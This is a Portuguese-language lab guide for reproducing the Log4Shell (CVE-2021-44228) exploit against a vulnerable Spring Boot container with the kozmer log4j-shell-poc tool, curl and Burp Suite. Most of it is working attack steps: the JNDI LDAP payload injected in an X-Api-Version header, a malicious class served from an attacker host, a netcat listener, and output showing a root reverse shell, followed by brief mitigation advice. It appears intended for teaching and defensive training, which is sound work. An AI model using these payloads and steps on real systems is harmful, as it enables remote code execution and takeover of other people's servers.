Laboratório prático para explorar e compreender o Log4Shell (CVE-2021-44228) usando Docker, Kali Linux, Burp Suite e log4j-shell-poc. Apenas para ensino e treinamento defensivo em ambientes de laboratório controlados.
O Log4Shell (CVE-2021-44228) é uma das vulnerabilidades de execução remota de código mais impactantes já divulgadas. Ela afeta o Apache Log4j 2, um framework de logging Java amplamente utilizado, e permite que atacantes executem código arbitrário ao abusar de lookups JNDI em mensagens de log.
Este guia fornece um laboratório de demonstração completo e reproduzível usando:
log4j-shell-pocEle foi projetado para ensino, pesquisa, treinamento e conscientização defensiva apenas em ambientes controlados. A estrutura e o estilo seguem o mesmo espírito do README do laboratório complementar “Shellshock”.
Este laboratório deve ser realizado apenas em um ambiente controlado onde você tenha autorização explícita (seu próprio laboratório, VMs de sala de aula, etc.).
Log4Shell (CVE-2021-44228) é uma vulnerabilidade crítica de RCE no Apache Log4j 2.
O problema surge porque versões vulneráveis do Log4j2 interpretam strings controladas pelo atacante, como:
${jndi:ldap://ATTACKER_IP:1389/a}
Quando essa string é registrada, o Log4j:
Neste laboratório, você irá:
log4j-shell-poc.curl e via Burp Suite.Ao final deste laboratório, você deverá ser capaz de:
Todos os componentes são executados sobre seu laboratório virtual existente. Para este guia, assumimos:
| Componente | Função / Descrição | Ferramentas / Serviços | Endereçamento de Exemplo |
|---|---|---|---|
| VM Kali Linux (Atacante + Host) | Executa o exploit PoC, servidor LDAP, servidor HTTP, listener Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (exemplo de IP do Kali) |
| Aplicativo web Log4j2 vulnerável | Alvo; aplicativo web Spring Boot vulnerável ao Log4Shell | Imagem Docker: ghcr.io/christophetd/log4shell-vulnerable-app | Exposto em http://127.0.0.1:8080 |
Ideia-chave
O atacante injeta:
${jndi:ldap://192.168.1.4:1389/a}
em um cabeçalho HTTP. O aplicativo vulnerável o registra usando Log4j2 → realiza um lookup JNDI LDAP para 192.168.1.4:1389 → baixa uma classe maliciosa de http://192.168.1.4:8000 → executa a classe, que abre um reverse shell de volta para 192.168.1.4:9001.
No Kali, você precisa de:
nc).Ao longo deste guia, assumimos que o IP do Kali é:
192.168.1.4
Se o seu IP for diferente, ajuste todos os comandos de acordo.
O PoC depende do Java SE 8 Update 202 (JDK 1.8.0_202) porque versões posteriores do Java restringem o comportamento de carregamento remoto de classes usado por este exploit.
Mesmo que o Kali já tenha o OpenJDK 21 (ou similar), você ainda precisa instalar o 8u202 separadamente.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Raiz do espelho:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Baixe o tarball Linux x64 (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # should be ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
A opção --strip-components=1 remove o diretório de nível superior do arquivo para que os arquivos sejam extraídos diretamente em /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Saída esperada:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Se você vir isso, o JDK 1.8.0_202 está instalado corretamente.
Em um novo terminal no Kali (você pode permanecer em ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Você deve ver logs semelhantes a:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ a partir do Kali.Verificação rápida:
curl http://127.0.0.1:8080/
Você pode ver uma Whitelabel Error Page (HTTP 400). Tudo bem – tudo o que precisamos é que o aplicativo esteja em execução e registrando as requisições.
log4j-shell-pocEm um novo terminal:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Confirme os arquivos:
ls
# poc.py, target/, README, etc. Exploit.java will be generated later.
poc.py para Usar o JDK 1.8.0_202Por padrão, o poc.py espera encontrar um JDK local em um diretório chamado jdk1.8.0_20 dentro do repositório. Em vez disso, você instalou o JDK 8u202 em /usr/bin/jdk1.8.0_202, portanto você deve atualizar o script.
poc.py em um editornano poc.py
Procure por jdk1.8.0_20 (no nano: Ctrl+W, digite jdk1.8.0_20, pressione Enter).
Você deve encontrar três ocorrências como:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Substitua-os por:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Salve e saia:
Ctrl + O → EnterCtrl + XO PoC agora usa o JDK 1.8.0_202 a partir de /usr/bin.
A partir de ~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
Parâmetros:
--userip – o IP do seu Kali (atacante): por exemplo, 192.168.1.4.--webport – porta do servidor HTTP embutido: 8000.--lport – porta para a qual o payload se conecta de volta: 9001.Se tudo estiver configurado corretamente, você deve ver algo como:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Importante:
O servidor LDAP está escutando na porta 1389.
O servidor HTTP está escutando na porta 8000.
O payload exato a ser injetado é exibido:
${jndi:ldap://192.168.1.4:1389/a}
Deixe este terminal em execução.
Abra outro novo terminal no Kali:
nc -nvlp 9001
Você deve ver:
listening on [any] 9001 ...
Este listener receberá o reverse shell do aplicativo vulnerável.
Neste ponto, você deve ter:
poc.py executando LDAP (1389) e HTTP (8000).curlPrimeiro, prove que o exploit funciona usando uma requisição HTTP bruta.
Em um novo terminal (ou reutilize um, se disponível):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
O que acontece:
X-Api-Version.${jndi:ldap://192.168.1.4:1389/a} e realiza um lookup JNDI LDAP.poc.py) responde com uma referência a uma classe Java maliciosa hospedada em seu servidor HTTP.192.168.1.4:9001 e inicia um shell.Se for bem-sucedido, seu terminal Netcat mostra:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
Agora você tem um shell root dentro do contêiner Docker.
Experimente:
id
hostname
ls /
Saia com:
exit
O Netcat voltará a escutar.
Agora demonstre o mesmo caminho de exploit usando um navegador intermediado pelo Burp Suite.
Inicie o Burp Suite no Kali.
No Burp, garanta que o listener de Proxy esteja em execução em 127.0.0.1:8080.
No Firefox:
127.0.0.1, Porta: 8080.127.0.0.1.No Burp → Proxy → Intercept, garanta que Intercept esteja ativo.
No Firefox, navegue para:
http://127.0.0.1:8080/
O Burp mostrará a requisição interceptada, por exemplo:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
No Repeater, modifique a requisição para incluir um cabeçalho X-Api-Version:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Observações:
192.168.1.4 pelo seu IP real do Kali, se for diferente.${} – eles devem aparecer exatamente como mostrado.Connection: close mantém as coisas simples (opcional).poc.py e o listener Netcat ainda estão em execução.Você pode ver novamente uma 400 Whitelabel Error Page – tudo bem.
Verifique seu terminal Netcat:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
Você obteve novamente um shell root no contêiner, desta vez usando uma requisição HTTP modificada pelo Burp, o que espelha um fluxo de trabalho realista de exploração web.
O atacante cria o payload JNDI:
${jndi:ldap://192.168.1.4:1389/a}
O aplicativo vulnerável registra essa string usando Log4j2.
O Log4j2 interpreta ${jndi:...} e realiza um lookup JNDI.
O lookup usa LDAP para contatar o servidor LDAP do atacante em 192.168.1.4:1389.
O servidor LDAP (marshalsec) responde com um javaNamingReference apontando para uma classe controlada pelo atacante hospedada via HTTP, por exemplo:
http://192.168.1.4:8000/Exploit.class
A JVM da vítima baixa e carrega essa classe.
O construtor da classe abre um socket de volta para 192.168.1.4:9001 e vincula /bin/sh a ele.
O listener Netcat do atacante recebe a conexão de entrada e obtém um shell root remoto dentro do contêiner.
Em ambientes reais, múltiplas camadas defensivas devem ser aplicadas.
Para implantações ainda vulneráveis, adicione:
-Dlog4j2.formatMsgNoLookups=true
(Quando aplicável – observe que nem todas as configurações vulneráveis são corrigidas apenas por essa flag).
JndiLookup dos JARs do log4j-coreComo medida de defesa em profundidade:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: ou ${${lower:j}${upper:ndi}:.Uma visão geral condensada dos comandos usados neste laboratório.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py (resumo)Substitua:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # two uses
Por:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
| Descrição | Imagem |
|---|---|
| Instalação do JDK / configuração do ambiente | ![]() |
| Script do PoC em execução (payload de acionamento) | ![]() |
| Aplicativo web Tomcat vulnerável em execução | ![]() |
| Atualizando o script do exploit PoC | ![]() |
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLaboratório de Ensino do Log4Shell (CVE-2021-44228) – criado com carinho para estudantes, defensores e hackers éticos em todo o mundo.
Feito com amor por:
Haitham, de Omã ❤️🇴🇲